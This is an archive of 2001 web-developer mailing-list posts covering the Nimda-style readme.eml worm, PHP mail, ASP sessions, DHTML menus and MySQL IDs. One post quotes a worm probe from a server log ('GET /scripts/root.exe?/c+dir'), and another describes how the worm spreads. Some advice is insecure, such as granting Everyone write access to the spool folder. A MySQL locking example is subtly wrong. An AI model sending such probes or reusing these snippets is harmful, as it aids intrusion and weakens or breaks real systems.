mediaone.net (Ron Klegman) Date: Wed Sep 19 13:04:33 2001 Subject: [thelist] virus and readme.eml In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net> Message-ID: Yes.. it is a README.EXE I believe. > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Cayley Vos > Sent: Wednesday, September 19, 2001 1:55 PM > To: evolt tech help > Subject: [thelist] virus and readme.eml > > > is it true that a readme.eml file is part of this nasty ADMIN virus > spreading around? I saw one embedded in a webpage, occuring as a popup > > From morbus at disobey.com Wed Sep 19 13:10:28 2001 From: morbus at disobey.com (Morbus Iff) Date: Wed Sep 19 13:10:28 2001 Subject: [thelist] virus and readme.eml In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net> Message-ID: <5.1.0.14.2.20010919140907.009e9070@red.totalnetnh.net> >is it true that a readme.eml file is part of this nasty ADMIN virus >spreading around? I saw one embedded in a webpage, occuring as a popup Yuppers. That would be so. When it gets spread through email, it's README.EXE, when a webserver has been infected, it does the README.EML, which is autodownloaded by Internet Explorer 5.0 (unless you're patched). You may want to email said webserver and let them know about Linux. -- Morbus Iff ( i am your scary godmother ) http://www.disobey.com/ && http://www.gamegrene.com/ please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus From skaiser1 at skdesigns.com Wed Sep 19 13:10:32 2001 From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns) Date: Wed Sep 19 13:10:32 2001 Subject: [thelist] virus and readme.eml In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net> Message-ID: <5.1.0.14.2.20010919110432.02fac0a0@mail.midtown.net> At 10:54 AM 09/19/2001, Cayley Vos wrote: >is it true that a readme.eml file is part of this nasty ADMIN virus >spreading around? I saw one embedded in a webpage, occuring as a popup Yep, exactly true, and now your computer may be spreading the virus.... just because you happened to visit that webpage. Although it just seems to be using Internet Explorer, there are other problems that I discovered yesterday. Read the note I just sent to thelist with the subject "Readme.exe, Eudora, and Opera (was Re: [thelist] failure" Best to run a virus scan on your computer and get rid of it immediately. And if you use Outlook for your email and opened that web page with Internet Explorer, you may be spreading the virus in addition to having it in your computer. Check out other notes here for how to get rid of it. There are links and resources already listed. Warmly, Shirley -- Shirley E. Kaiser, M.A. SKDesigns mailto:skaiser1 at skdesigns.com Website Development http://www.skdesigns.com/ Pianist, Composer http://www.shirleykaiser.com/ Moderator, I-Design http://www.adventive.com/lists/idesign/summary.html From bill at webmarketingworx.com Wed Sep 19 13:10:37 2001 From: bill at webmarketingworx.com (Bill Haenel) Date: Wed Sep 19 13:10:37 2001 Subject: [thelist] failure notice (& CF TIP) In-Reply-To: Message-ID: > 1 Find something running as a service which oughtn't > to be there (CTRL-ALT-DEL:task manager:processes). > Kill it and delete it, look for refs to it in the > registry and delete them. If you have no idea what > I'm talking about then mail me a list of processes. Didn't try this - good thinking. > or (less likely) > > 2 I'm hearing something about SYSTEM.INI resetting > the Windows shell to 'explorer.exe' and appending > some autorun shit to it. Worth checking just in case. Tried this - wasn't it. > or (much less likely) > > 3 Make sure you've got the permission required to nuke > the file. If you're not logged in as Administrator > it might not work. Definitely not this, unless someone has changed perms on me, which is next to impossible. Thanks so much to everyone who's offered assistance. I'll try this and some other info I've found, and then I'll let the group know if I find anything out that hasn't already appeared here. You guys are so great. BH From MMcAtee at philamuseum.org Wed Sep 19 13:41:04 2001 From: MMcAtee at philamuseum.org (McAtee, Malcolm) Date: Wed Sep 19 13:41:04 2001 Subject: [thelist] PHP equivalent to CFMAIL Message-ID: Does any one have or know where to locate PHP code that duplicates CFMAIL functionality. I need to send form results to an action page which has a "thank you" message ad fill will forward the results in an e-mail Thanks Malcolm //---------------// Malcolm J. Mcatee Web Designer Philadelphia Museum of Art 215-684-7748 mmcatee at philamuseum.org //---------------// From rthigpen at nc.rr.com Wed Sep 19 13:41:07 2001 From: rthigpen at nc.rr.com (Ron Thigpen) Date: Wed Sep 19 13:41:07 2001 Subject: [thelist] virus and readme.eml References: <3BA8DBEC.1826C7A9@netpaths.net> Message-ID: <3BA8E217.7070006@nc.rr.com> yes, readme.eml is a mulitpart-MIME formatted file that used by the worm in one of many propagation methods. infected webpages have been appended with a bit of javascript that will attempt to open a new browser window (offset by 6000 pixels vertically and horizontally from the upper left corner of your screen, so that you may not see this window) and load the file readme.eml into this new window. this file takes advantage of a vulnerability in some unpatched versions of IE that allow it to execute code embedded in these multipart-MIME files. one part of this multipart message is a base64 encoded file named readme.exe. so, readme.eml is a transport vessel for readme.exe. if you are running a vulnerable version of IE, you may see a cmd (DOS command) window pop up as the readme.exe file is executed. once this occurs, that machine is infected. infected machines will begin trying to propoagate the virus via file shares, web server infection (as above), network scanning for vulnerable web servers (similar to Code Red propagation), and by e-mail (similar to Melissa propagation). if you are not running a vulnerable version of IE you may have been prompted to open, run or save this eml file. the safest choice is to 'Cancel', choosing none of these, though saving may be safe, as long you don't unencode the readme.exe portion and execute it. --rt Cayley Vos wrote: > is it true that a readme.eml file is part of this nasty ADMIN virus > spreading around? I saw one embedded in a webpage, occuring as a popup > > -- > > > Cayley Vos, Principal > > 360.714.8395 office > 360.223.7799 cell > > http://NetPaths.net > _______________________________ > web design | e-commerce | i-marketing > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > > From rolson at otn.net Wed Sep 19 13:59:22 2001 From: rolson at otn.net (rick) Date: Wed Sep 19 13:59:22 2001 Subject: [thelist] PHP equivalent to CFMAIL References: Message-ID: <008601c1413c$e08c2a50$74a6aace@spacemonkey> Do you know PHP? This would be a fairly simple script using the mail() function to actually send the email. rick http://techno-weenie.com ----- Original Message ----- From: "McAtee, Malcolm" To: Sent: Wednesday, September 19, 2001 10:27 AM Subject: [thelist] PHP equivalent to CFMAIL > Does any one have or know where to locate PHP code that duplicates CFMAIL > functionality. > I need to send form results to an action page which has a "thank you" > message ad fill will forward the results in an e-mail > > > Thanks Malcolm > > //---------------// > Malcolm J. Mcatee > Web Designer > Philadelphia Museum of Art > 215-684-7748 > mmcatee at philamuseum.org > //---------------// > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From JGreen at DesMoinesMetro.com Wed Sep 19 14:03:24 2001 From: JGreen at DesMoinesMetro.com (Green, Janet) Date: Wed Sep 19 14:03:24 2001 Subject: [thelist] Javascript or ASP? Message-ID: <9BF107507B15D511B2D6000255586DFA15F8E0@exchweb.partners.com> Ok a fun project this time. I've created a daily "start page" for everyone in my office to use as a calendar of organization events, staff birthdays, etc. (sort of a one-page intranet.) I'd like to include a quote of the day, and have collected a bunch of quotes. Would I use Javascript or something else to create a random quote selector for this page? Everyone is on Win98 or 2000, using IE 5. Thoughts/hints appreciated. Thanks! Janet From JGreen at DesMoinesMetro.com Wed Sep 19 14:17:33 2001 From: JGreen at DesMoinesMetro.com (Green, Janet) Date: Wed Sep 19 14:17:33 2001 Subject: [thelist] Javascript or ASP? Message-ID: <9BF107507B15D511B2D6000255586DFA15F8E1@exchweb.partners.com> Nevermind, I found just what I was looking for! :) -----Original Message----- From: Green, Janet [mailto:JGreen at DesMoinesMetro.com] Sent: Wednesday, September 19, 2001 2:01 PM To: 'thelist at lists.evolt.org' Subject: [thelist] Javascript or ASP? Ok a fun project this time. I've created a daily "start page" for everyone in my office to use as a calendar of organization events, staff birthdays, etc. (sort of a one-page intranet.) I'd like to include a quote of the day, and have collected a bunch of quotes. Would I use Javascript or something else to create a random quote selector for this page? Everyone is on Win98 or 2000, using IE 5. Thoughts/hints appreciated. Thanks! Janet --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From jcrawford at avencom.com Wed Sep 19 14:17:44 2001 From: jcrawford at avencom.com (Joe Crawford) Date: Wed Sep 19 14:17:44 2001 Subject: [thelist] PHP equivalent to CFMAIL References: Message-ID: <3BA8ECDC.B410D062@avencom.com> "McAtee, Malcolm" wrote: > Does any one have or know where to locate PHP code that duplicates CFMAIL > functionality. > I need to send form results to an action page which has a "thank you" > message ad fill will forward the results in an e-mail Hi Malcolm - I'll take a stab... (From the CF documentation): This message was sent by an automatic mailer built with CFMAIL: ==================================================== #form.body# And the equivalent in PHP would be (these are new variable names): mail( $form_mailto,$form_subject, "This message was sent by an automatic mailer built with mail() in php: ==================================================== $form_body" ,"From: $form_mailFrom"); /* http://www.php.net/manual/en/function.mail.php */ HTH! - Joe -- ................... Joe Crawford \\ Web Design & Development ..... mailto:jcrawford at avencom.com \\ http://www.avencom.com .... San Diego \\ CA \\ USA \\ AVENCOM: Set Your Sites Higher From David at softv.net Wed Sep 19 14:17:56 2001 From: David at softv.net (David at softv.net) Date: Wed Sep 19 14:17:56 2001 Subject: [thelist] Javascript or ASP? Message-ID: <439FDCB7FFC8D311AE5E006008909CBB7C7383@IMAIL> Javascript would be an good way. Why not let the client side do the processing instead of your server? (which would be the case if you used ASP)... Create an array of all your quotes. On page load, randomly select an element out of the array and write it out... Dave -----Original Message----- From: Green, Janet [mailto:JGreen at DesMoinesMetro.com] Sent: Wednesday, September 19, 2001 3:01 PM To: 'thelist at lists.evolt.org' Subject: [thelist] Javascript or ASP? Ok a fun project this time. I've created a daily "start page" for everyone in my office to use as a calendar of organization events, staff birthdays, etc. (sort of a one-page intranet.) I'd like to include a quote of the day, and have collected a bunch of quotes. Would I use Javascript or something else to create a random quote selector for this page? Everyone is on Win98 or 2000, using IE 5. Thoughts/hints appreciated. Thanks! Janet --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From evolt at spinhead.com Wed Sep 19 14:45:56 2001 From: evolt at spinhead.com (spinhead) Date: Wed Sep 19 14:45:56 2001 Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? Message-ID: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG> Trying one more time before I give Microsoft more money for tech support . . . spinhead ----- Original Message ----- From: "spinhead" To: "evolt" Sent: Friday, September 14, 2001 3:08 PM Subject: [thelist] CDONTS again - can't send mail from a subdirectory? > CDONTS on Win2K - have a 3rd party app that's basically ASP pages accessing > a database. I've added a bit of code to send an e-mail every time a certain > page is hit (to be modified eventually to include the info just posted by > the user.) > > Except the mail dumps into the badmail folder with this error: > ===================================== > Unable to deliver this message because the follow error was encountered: > "Error is processing file in pickup directory.". > > The specific error code was 0xC00402CE. > ===================================== > I've even copied my testmail.asp page (which works right now in the root of > the web) to the subfolder, and it won't send. > > Any ideas? > > spinhead > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From jedimaster at macromedia.com Wed Sep 19 14:46:00 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Wed Sep 19 14:46:00 2001 Subject: [thelist] Javascript or ASP? In-Reply-To: <439FDCB7FFC8D311AE5E006008909CBB7C7383@IMAIL> Message-ID: <002701c14140$74da71f0$6401a8c0@mylittledomain.internal> Wouldn't this be an issue though if you have 50+ quotes? Anything more than a few quotes will slow down the page load. I'd do it in ASP. (Well, _I'd_ do it in CF, but that's my opinion. ;) ======================================================================= Raymond Camden, Principal Spectra Compliance Engineer for Macromedia Email : jedimaster at macromedia.com Yahoo IM : morpheus "My ally is the Force, and a powerful ally it is." - Yoda > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org] On Behalf Of David at softv.net > Sent: Wednesday, September 19, 2001 3:16 PM > To: thelist at lists.evolt.org > Subject: RE: [thelist] Javascript or ASP? > > > Javascript would be an good way. Why not let the client side > do the processing instead of your server? (which would be the > case if you used ASP)... Create an array of all your quotes. > On page load, randomly select an element out of the array and > write it out... > From djc at members.evolt.org Wed Sep 19 14:57:24 2001 From: djc at members.evolt.org (Daniel J. Cody) Date: Wed Sep 19 14:57:24 2001 Subject: [thelist] How do I address hacking attempts recorded in my logs? (fwd) Message-ID: ---------- Forwarded message ---------- Date: Wed, 19 Sep 2001 13:31:39 -0600 (MDT) From: found at warmonger.net To: thelist at evolt.org Subject: How do I address hacking attempts recorded in my logs? I am so tired of this. I have a little, out of the way, low volume server for my personal enjoyment. I make a point of keeping it out of the search engines. Yet I keep finding hacking attempts recorded in my Apache logs. Nobody (that I don't want in) has broken in, but this nonsense is starting to eat into my meager server resources. For example, I've been receiving a string of ISS exploit attacks for a day and a half from Verio's IP address block. It starts with "GET /scripts/root.exe?/c+dir HTTP/1.0" 302 216 "-" "-", runs through a stack of similar hacking attempts, then jumps to another IP address and starts over again. As soon as I saw it I changed my allow,deny to shut out Verio's address block, but now my error log is flooded with 403 errors. What am I supposed to do if Verio doesn't do anything about this? I have yet to hear a response to my e-mail report. In the past, I've politely asked webmasters to clean up their own houses. In the few cases where that didn't work, sending an invoice for my wasted resources elicited a frantic phone call followed by an apology (which was enough for me). I can't afford the bandwidth and server time this continued attack is wasting. If they don't respond quickly, do I really have no choice but to report them to the U.S. authorities for aiding in hacking attacks? From joshua at alphashop.net Wed Sep 19 15:05:14 2001 From: joshua at alphashop.net (Joshua Olson) Date: Wed Sep 19 15:05:14 2001 Subject: [thelist] Javascript or ASP? References: <002701c14140$74da71f0$6401a8c0@mylittledomain.internal> Message-ID: <01a901c14147$3426dc50$a600a8c0@mrtnz1.ga.home.com> This might be a candidate for an external js file, perhaps. I believe it was said this was for an intranet (she said "in my office") so d/l time should be negligible and then even it's cached. Shouldn't be a big deal. Just my 2c. -joshua ----- Original Message ----- From: "Raymond Camden" To: Sent: Wednesday, September 19, 2001 3:22 PM Subject: RE: [thelist] Javascript or ASP? : Wouldn't this be an issue though if you have 50+ quotes? Anything more : than a few quotes will slow down the page load. I'd do it in ASP. : : (Well, _I'd_ do it in CF, but that's my opinion. ;) From mspiegler at lightbulbpress.com Wed Sep 19 15:15:57 2001 From: mspiegler at lightbulbpress.com (Matt) Date: Wed Sep 19 15:15:57 2001 Subject: [thelist] DHTML Menu under Form elements Message-ID: <3BA8FCC4.8CFC713A@lightbulbpress.com> Is there any way to avoid a DHTML dropdown menu always appearing behind form elements? Does someone know of a workaround or am I S.O.L.? thanks, matt From Matt at grndwtr.com Wed Sep 19 15:16:01 2001 From: Matt at grndwtr.com (Matthias Ritzkowski) Date: Wed Sep 19 15:16:01 2001 Subject: [thelist] CDONTS again - can't send mail from a subdirectory? Message-ID: <8179FA78B6D0D111AA53006097B0128007AF10@mail1> Did you test whether it's CDONTS or the app that's causing you problems ...? Drop an email file into the pickup directory and see if it sends ok. If it does, CDONTS works and something with your code or app is up. I have used CDONTS for a while now and found it very low maintenance for low traffic volume. You are more than welcome to drop me a line off list if you need some help! Matthias -----Original Message----- From: spinhead [mailto:evolt at spinhead.com] Sent: Wednesday, September 19, 2001 15:21 To: evolt Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? Trying one more time before I give Microsoft more money for tech support . . . spinhead ----- Original Message ----- From: "spinhead" To: "evolt" Sent: Friday, September 14, 2001 3:08 PM Subject: [thelist] CDONTS again - can't send mail from a subdirectory? > CDONTS on Win2K - have a 3rd party app that's basically ASP pages accessing > a database. I've added a bit of code to send an e-mail every time a certain > page is hit (to be modified eventually to include the info just posted by > the user.) > > Except the mail dumps into the badmail folder with this error: > ===================================== > Unable to deliver this message because the follow error was encountered: > "Error is processing file in pickup directory.". > > The specific error code was 0xC00402CE. > ===================================== > I've even copied my testmail.asp page (which works right now in the root of > the web) to the subfolder, and it won't send. > > Any ideas? > > spinhead > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From jedimaster at macromedia.com Wed Sep 19 15:16:06 2001 From: jedimaster at macromedia.com (Raymond Camden) Date: Wed Sep 19 15:16:06 2001 Subject: [thelist] Javascript or ASP? In-Reply-To: <01a901c14147$3426dc50$a600a8c0@mrtnz1.ga.home.com> Message-ID: <003b01c14147$3cc1ecb0$6401a8c0@mylittledomain.internal> Even if it was an external JS file, it would have to be accessed and downloaded, correct? Of course, if it _is_ on an intranet, it's not that big of a deal... however, even locally, large files tend to make the browser a bit sluggish, even on my nice system (p4, lots of ram, etc.) Just my 4c. > This might be a candidate for an external js file, perhaps. > I believe it was said this was for an intranet (she said "in > my office") so d/l time should be negligible and then even > it's cached. Shouldn't be a big deal. > > Just my 2c. > > -joshua From Anthony at Baratta.com Wed Sep 19 15:26:40 2001 From: Anthony at Baratta.com (Anthony Baratta) Date: Wed Sep 19 15:26:40 2001 Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? In-Reply-To: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG> Message-ID: <5.1.0.14.2.20010919132317.02f63468@baratta.com> At 12:20 PM 9/19/2001, you wrote: >Trying one more time before I give Microsoft more money for tech support . . > . Let's see the code you are using to send the mail. ---- Anthony Baratta President Keyboard Jockeys "Conformity is the refuge of the unimaginative." From emagin at onebox.com Wed Sep 19 15:26:46 2001 From: emagin at onebox.com (Ed) Date: Wed Sep 19 15:26:46 2001 Subject: [thelist] IIS Worm/Trojan Suggestion - Ghost Rollback In-Reply-To: <20010919170849.B75A09AA@relay.evolt.org> Message-ID: One thing I've found most frustrating and time-consuming when dealing with these various worms is the installation of all the patches, which sometimes don't guarantee the removal of hidden Reg Key entries and other harm that can only be undone MANUALLY. So I follow this general policy. Install a clean copy of OS onto C: partition/drive Create a DOS partition the size of the C: partition Set IE's security level to CUSTOM and do not allow ANY scripting, etc. - Disable everything. Add windowsupdate.microsoft.com to Trusted sites. I update servers with all patches up to a base level (for IIS you can use the Aug 21 Microsoft Cumulative patch). Disconnect that ethernet Set up any IIS shares, sites, test, disable any features you don't need, etc. Boot to DOS and Ghost an image of the C: partition (which should only have the OS on it anyhow) to the DOS partition Keep apps and other shares in the D:, etc. partitions. Copy this Ghost image someplace handy, like on a CD. When this worm stuff goes down, just do an OS rollback to that last base level image. Then you KNOW there is nothing harmful in the build. Then go out (using secure IE settings) and download any new patches, update, etc. from MS If significant, rebuild a new base build with Ghost and store it for the next attack. After several rebuilds and updates, I have found that, after initial setup, this method is fairly quick and foolproof. It gives you a peace of mind factor that makes the extra setup time worth it. Hope this helps. Ed From jonhall at ozline.net Wed Sep 19 15:53:55 2001 From: jonhall at ozline.net (Jon Hall) Date: Wed Sep 19 15:53:55 2001 Subject: [thelist] CDONTS again - can't send mail from a subdirectory? References: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG> Message-ID: <003501c1414c$3ba53fd0$a41f88d8@ns2> Probably permissions problem. Try giving Everyone write permissions on the spool folder, or at least the user that cdonts runs as (i dont know which). I played with cdonts a while back, and I remember something really insecure like this and I chose not to use it. Frontpage needs permissions set like this too. I guess once you have one MS security hole, MS figures they might as well add a few more. jon ----- Original Message ----- From: "spinhead" To: "evolt" Sent: Wednesday, September 19, 2001 3:20 PM Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? > Trying one more time before I give Microsoft more money for tech support . . > . > > spinhead > > ----- Original Message ----- > From: "spinhead" > To: "evolt" > Sent: Friday, September 14, 2001 3:08 PM > Subject: [thelist] CDONTS again - can't send mail from a subdirectory? > > > > CDONTS on Win2K - have a 3rd party app that's basically ASP pages > accessing > > a database. I've added a bit of code to send an e-mail every time a > certain > > page is hit (to be modified eventually to include the info just posted by > > the user.) > > > > Except the mail dumps into the badmail folder with this error: > > ===================================== > > Unable to deliver this message because the follow error was encountered: > > "Error is processing file in pickup directory.". > > > > The specific error code was 0xC00402CE. > > ===================================== > > I've even copied my testmail.asp page (which works right now in the root > of > > the web) to the subfolder, and it won't send. > > > > Any ideas? > > > > spinhead > > > > > > > > > > --------------------------------------- > > For unsubscribe and other options, including > > the Tip Harvester and archive of TheList go to: > > http://lists.evolt.org Workers of the Web, evolt ! > > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! From pgerenda at visteon.com Wed Sep 19 15:53:58 2001 From: pgerenda at visteon.com (Gerenday, Perry (P.)) Date: Wed Sep 19 15:53:58 2001 Subject: [thelist] DHTML Menu under Form elements Message-ID: <200109192040.f8JKeIX30492@dymwsm09.mailwatch.com> -----Original Message----- From: Matt [mailto:mspiegler at lightbulbpress.com] > Is there any way to avoid a DHTML dropdown menu always > appearing behind > form elements? Does someone know of a workaround or am I S.O.L.? Hi Matt, Some Old Lush? Song Of Love? I don't think so. Why not float the form as well? Here try this:

Overlay

Good Luck. Perry Gerenday, Visual Communications Artist www.virtually-artistic.com From webmaster at equilon-mrc.com Wed Sep 19 16:02:59 2001 From: webmaster at equilon-mrc.com (James Aylard) Date: Wed Sep 19 16:02:59 2001 Subject: [thelist] DHTML Menu under Form elements References: <3BA8FCC4.8CFC713A@lightbulbpress.com> Message-ID: <007301c1414e$0e231800$2860398a@newcos.com> Matt, > Is there any way to avoid a DHTML dropdown menu always appearing behind > form elements? Does someone know of a workaround or am I S.O.L.? You will have to hide the form elements when your dhtml drop-down is dropped down. In IE 4+, you can simply change the CSS visibility property for the affected form elements from "visible" to "hidden". But for Netscape 4.x you have to place the entire form within its own layer and then swap that layer's visibility property -- not a pretty prospect. James Aylard From bruce at heerssen.com Wed Sep 19 16:03:09 2001 From: bruce at heerssen.com (Bruce Heerssen) Date: Wed Sep 19 16:03:09 2001 Subject: [thelist] virus and readme.eml References: <5.1.0.14.2.20010919140907.009e9070@red.totalnetnh.net> Message-ID: <3BA90651.60609@heerssen.com> Morbus Iff wrote > Yuppers. That would be so. When it gets spread through email, it's > README.EXE, when a webserver has been infected, it does the > README.EML, which is autodownloaded by Internet Explorer 5.0 (unless > you're patched). > > You may want to email said webserver and let them know about Linux. Truly a noble thought. But every time I tried, there was no contact info. Which is hardly surprising considering that these servers have not been patched for very old holes. -Bruce > > > -- > Morbus Iff ( i am your scary godmother ) > http://www.disobey.com/ && http://www.gamegrene.com/ > please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554 > icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus > > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From webmaster at equilon-mrc.com Wed Sep 19 16:55:32 2001 From: webmaster at equilon-mrc.com (James Aylard) Date: Wed Sep 19 16:55:32 2001 Subject: [thelist] DHTML Menu under Form elements References: <200109192040.f8JKeIX30492@dymwsm09.mailwatch.com> Message-ID: <008401c1414f$59ed24a0$2860398a@newcos.com> Perry, > Why not float the form as well? Here try this: Unfortunately, this won't work with certain form elements -- namely, the "> now, if you use response.redirect (although if you have the latest version of ASP, you should use the transfer method), you can process the form like so: IF variable = "login" THEN response.redirect Request("frompage") ELSE response.write "Loser" END IF play around, you can build the full URL, or just use the root-relative from SCRIPT_NAME and you should be fine... > The other question I had was about performance. I've got about 3-5 > session variables (containing things like passwords, user names, error > messages, HTTP_REFERRER strings, etc). I expect that the site will > peak at around 5000 user sessions per hour once the site goes live. > Will I crush that poor shared Win2000 server with all those session > variables? dunno, what are the specs? how much you storing? what else is happening on that box? most likely you'll be fine... > I read one of rudy's old posts about Access database performance, and > it's made me confident that with that many users I shouldn't get more > than a few concurrent connections. I've been pretty careful about > using objConn.close and Set objConn = nothing when I'm done with the > connection object, but I haven't gone as far as storing everything > into two dimensional arrays instead of objRS objects. The database is > primarily used for a forum, which only peaks at around 2000 or so user > sessions an hour. regardless of how well you manage your connections to Access, once the Access file itself gets reasonably large, it'll start to fail as a viable solution... i've seen it chunk up at 2meg, and i've seen it chunk up at 12meg, but it doesn't take long if you have a lot of content.... just a thought... From Anthony at Baratta.com Fri Sep 21 00:39:30 2001 From: Anthony at Baratta.com (Anthony Baratta) Date: Fri Sep 21 00:39:30 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <000601c14259$21d1e190$79334d18@Dell8100> Message-ID: <5.1.0.14.2.20010920222802.01b03d60@baratta.com> First off you shouldn't have to worry about spiders. How can they get to your subscriber content if they can't login. (Plus the way I recommend to grab that data is not affect by referers.) Second, I'm not sure what you mean by "QueryString and all" since you mention they will be getting to the login page by clicking a link on the page. Also how big will your querystring be? There are a few ways to tackle this: One is to generate a login page when someone attempts to access "member only" content via a function call. This allows you to deal with the login "from within the called page" and gives you IMHO more flexibility than the redirect (option two) since you don't have to pass session variables or querystrings around. Two is to redirect to a login script, but if you want to "get back" you need to pass enough informaiton to the login script to help it redirect back to the "calling" page. You can stuff this information into a Session Object for later retrieval using the Request.ServerVariables("SCRIPT_NAME") and Request.ServerVariables("QUERY_STRING") [which is my preferred method if I can't do option one] or by stuffing this information into a QueryString and handing it off to the login script. Three is stuff all the information into a form and post to the login script. This is a little cleaner from a URL perspective but still not as clean as option one, IMHO. HTH --- Anthony Baratta President Keyboard Jockeys "Conformity is the refuge of the unimaginative." From mpember at phreaker.net Fri Sep 21 00:55:27 2001 From: mpember at phreaker.net (Michael Pemberton) Date: Fri Sep 21 00:55:27 2001 Subject: [thelist] Converting date format with PHP References: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br> Message-ID: <3BAAD61C.40B25D2A@phreaker.net> I haven't done much work with with MySQL dates, but I think the following process should work. The data being recieved from the user is a string. You can either: break it using a series of substr() calls or Use the strtotime() method to convert is into a PHP timestamp and then format this back into the required structure using the date() function. eg. $today = date("Y/m/d"); // for example: 10/03/2001 Eduardo Bacchi Kienetz wrote: > > Howdy y'all > > Well, going straight to the point: I have a date that is typed by the user > in the format dd/mm/yyyy, that is the user's birthdate (Brazilian date > format). So my birthday date would be 31/03/1982 . The problem is that > MySQL saves dates in the yyyy/mm/dd format, so I need to convert the birth > date to MySQL's format. > Does anybody have a function? > > Thank you in advance, > > Eduardo Bacchi Kienetz > Webmaster www.camobi.com (hobby :) > Development/Support Dept. of ICONEWEB > www.iconeweb.com.br (the company I work for) > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! -- Michael Pemberton mpember at phreaker.net ICQ: 12107010 From beau at members.evolt.org Fri Sep 21 03:41:34 2001 From: beau at members.evolt.org (Beau Hartshorne) Date: Fri Sep 21 03:41:34 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <5.1.0.14.2.20010920222802.01b03d60@baratta.com> Message-ID: <000801c14279$41f7a7f0$79334d18@Dell8100> Aardvark, Anthony thank you. This is what I think I should do: Every page (except the login page) updates a Session object like so: <% Session.Contents("URL") = _ strRequest.ServerVariables("SCRIPT_NAME") + "?" _ + Request.ServerVariables("QUERY_STRING") %> And on the authentication.asp page: <% If Session.Contents("URL") = Nothing Then Response.Redirect("index.asp") Else Response.Redirect(Session.Contents("URL") End If %> From andrew.chadwick at prnewswire.co.uk Fri Sep 21 04:12:21 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Fri Sep 21 04:12:21 2001 Subject: [thelist] MySQL generated id In-Reply-To: <3BAA39A9.B95E105A@avencom.com> References: <5.1.0.14.0.20010920141711.00a9e8e0@tookish.net> <3BAA39A9.B95E105A@avencom.com> Message-ID: <20010921101221.A30043@oit.net> On Thu, Sep 20, 2001 at 11:47:05AM -0700, Joe Crawford wrote: > noah wrote: > > When I insert a new record into a MySQL table (via PHP), I use MySQL's > > auto-increment to create a unique id number for that record. What I'd like > > to do is immediately have access to the id number in PHP. I could use a > > separate select statement, but since I don't know the unique id, I run the > > risk of returning multiple records, rather than just the one I just inserted. > > > > Is there anyway to immediately have access to the id number generated when > > the record is inserted? > > I believe mysql_insert_id() is a php function to do what you want -- > documentation here: > http://www.php.net/manual/en/function.mysql-insert-id.php > > I'm not sure if there's a native mysql way to do what you want though. > :-\ You can almost do this in native MySQL by locking the table for writes while you add the new record. You can use LAST_INSERT_ID() if your field is auto_incrementing, but the general solution is: LOCK TABLES Animals READ; /* this assumes we're creating a complete * record with a single * insert statement */ SELECT MAX(Id)+1 FROM Animals; /* ... and store it in scripting var $__id__ */ INSERT INTO Animals SET Id=$__id__, Name="Fox", Colour="Brown", Speed="Quick"; UNLOCK TABLES; You have to store the ID in a scripting language variable, then interpolate it into the INSERT statement. How that happens is dependent on the scripting language you use, so I've left that bit out. Have a look at a MySQL manual for the difference between a READ and a WRITE lock, and consider whether it's OK for other client processes to be able to read a partial record. -- Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford -- The views or opinions above are solely mine and are not necessarily those of PR Newswire Europe. The message may contain privileged or confidential information; if you are not a named recipient, notify me, and do not copy, use, or disclose this message. . From david.braun at centralnet.ch Fri Sep 21 05:56:00 2001 From: david.braun at centralnet.ch (david braun) Date: Fri Sep 21 05:56:00 2001 Subject: Offlist: was RE: [thelist] Virtual PC as a Windows testing environment in aMac World In-Reply-To: Message-ID: <20010921125620-r01010800-8a6c7e05-0910-0108@193.246.195.23> [21.09.2001 - 1:35 Uhr] John Handelaar wrote: > Heh... my office has a nice 4-cubic-foot translucent > blue doorstop since this afternoon. > > "I ran out of IP addresses, and anyway while it was > in the other office we moved the desks around." > Doesn't sound like win-box, though ; ) david From mwarden at mattwarden.com Fri Sep 21 06:08:28 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Fri Sep 21 06:08:28 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: 